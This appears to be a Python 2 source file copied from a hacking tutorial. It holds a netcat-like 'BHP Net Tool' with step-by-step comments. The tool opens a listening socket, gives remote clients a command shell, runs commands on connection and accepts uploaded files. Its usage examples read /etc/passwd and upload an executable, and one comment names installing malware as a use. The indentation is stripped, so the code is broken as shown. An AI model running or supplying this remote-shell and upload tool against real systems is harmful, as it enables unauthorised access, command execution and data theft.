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bhnet2.py
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277 lines (216 loc) · 10.2 KB
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#This program is meant to replace netcat
import sys
import socket
import getopt
import threading
import subprocess
#define some global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print "BHP Net Tool"
print
print "Usage: bhpnet.py -t target_host -p port"
print "-l --listen - listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run - execute given file upon receiving a connection"
print "-c --command - initialize a command shell"
print "-u --upload=destination - upon receiving a connection upload a file and write to [destination]"
print
print
print "examples: "
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
sys.exit(0)
#We begin by reading in all of the command-line options under the try: section and
# setting the necessary variables depending on the options we detect. If any of
# the command-line parameters don't match our criteria, we print out useful usage
# information (under def usage()). In the next block of code we are trying to
# mimic netcat to read data from stdin and send it across the network. As noted,
# if you plan on sending data interactively, you need to send a CTRL-D to bypass
# the stdin read. The final piece (if listen: server_loop()) is where we detect
# that we are to set up a listening socket and process further commands (upload a
# file, execute a command, start a command shell).
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
#connect to our target host
client.connect((target, port))
if len(buffer):
client.send(buffer)
while True:
# now wait for data back
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print response,
# wait for more input
buffer = raw_input("")
buffer += "\n"
# send it off
client.send(buffer)
except:
print "[*]j Exception! Exiting..."
# tear down the connection
client.close()
# Most of this code should look familiar by now. we start by setting up our TCP
# socket object and then test (if len(buffer)) to see if we take any input from
# stdin. If all is well, we ship the data off (while recv_len:) and receive
# data until there is no more data to receive. We await for further input from
# the user (buffer = raw_input("")) and continue send/receiving data until
# the user kills the script. The extra line break is attached specifically to
# user input so that our client will be compatible with our command shell. Now
# move on and create our primary server loop and a stub function that will handle
# both our command execution and our full command shell
def server_loop():
global target
# if no target is defined, we listen on all interfaces
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# spin off a thread to handle our new client
client_thread = threading.Thread(target=client_handler, args =(client_socket,))
client_thread.start()
def run_command(command):
# trim the newline
command = command.rstrip()
# run the command and get the output back
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT,
shell=True)
except:
output = "Failed to execute command.\r\n"
# send the output back to the client
return output
# We'll skip discussing the server_loop function since it should be clear from
# our previous server codes. The run_command function contains a new library we
# haven't covered yet: the SUBPROCESS library. Subprocess provides a powerful
# process-creation interface that gives you a number of ways to start and interact
# with client programs. In this case (try: output = subprocess.check***) we are
# simply running whatever command we pass in, running it on the local OS, and
# returning the output from the command back to the client that is connected to
# us. The exception-handling code will catch generic errors and return back a
# message letting you know that the command failed. Now let's implement the
# logic for file uploads, command execution, and our shell
def client_handler(client_socket):
global upload
global execute
global command
# check for upload
if len(upload_destination):
# read in all of the bytes and write to our destination
file_buffer = ""
# keep reading data until none is available
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
# now we take these bytes and try to write them out
try:
file_descriptor = open(upload_destination, "wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
# acknowledge that we wrote the file out
client_socket.send("Successfully saved file to %s\r\n" %
upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" %
upload_destination)
#check for command execution
if len(execute):
# run the c0mmand
output = run_command(execute)
client_socket.send(output)
#now we go into another loop if a command shell was requested
if command:
while True:
#show a simple prompt
client_socket.send("<BHP:#>")
# now we receive until we see a linefeed
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# send back the command output
response = run_command(cmd_buffer)
# send back the response
client_socket.send(response)
# the first chunk of code (if len(upload...) is responsible for determining
# whether our network tool is set to receive a file when it receives a connection.
# this can be useful for upload-and-execute exercises for installing malware and
# having the malware remove our Python callback. First we receive the file data in
# a loop (while: data = client.socket.recv(1024)) to make sure we receive it all,
# and then we siimply open a file handle and write out the contents of the file.
# the wb flag ensures that we are writing the file with binary mode enabled, which
# ensures that uploading and writing a binary executable will be successful. Next
# we process our execute functionality (try: file_descriptor = open(upload) block)
# which calls our previously written run_command function and simply sends the
# result back across the network. Our last bit of code handles our command shell;
# it continues to execute commands as we sned them in and sends back the output.
# You'll notice that it is scanning for a newline character to determine when to
# process a command, which makes it netcat-friendly. However, if you are conjuring
# up a Python client to speak to it, remember to add the newline character.
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
# read the commandline options
try:
opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
["help", "listen", "execute", "target", "port", "command",
"upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o, a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l", "--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False, "Unhandled Option"
# are we goign to listen or just send data from stdin?
if not listen and len(target) and port > 0:
#read in the buffer from the commandline
#this will block, so send CTRL-D if not sending input
# to stdin
buffer = sys.stdin.read()
#send data off
client_sender(buffer)
#we are going to listen and potentially
# upload things, execute commans, and drop a shell back
# depending on our command line options above
if listen:
server_loop()
main()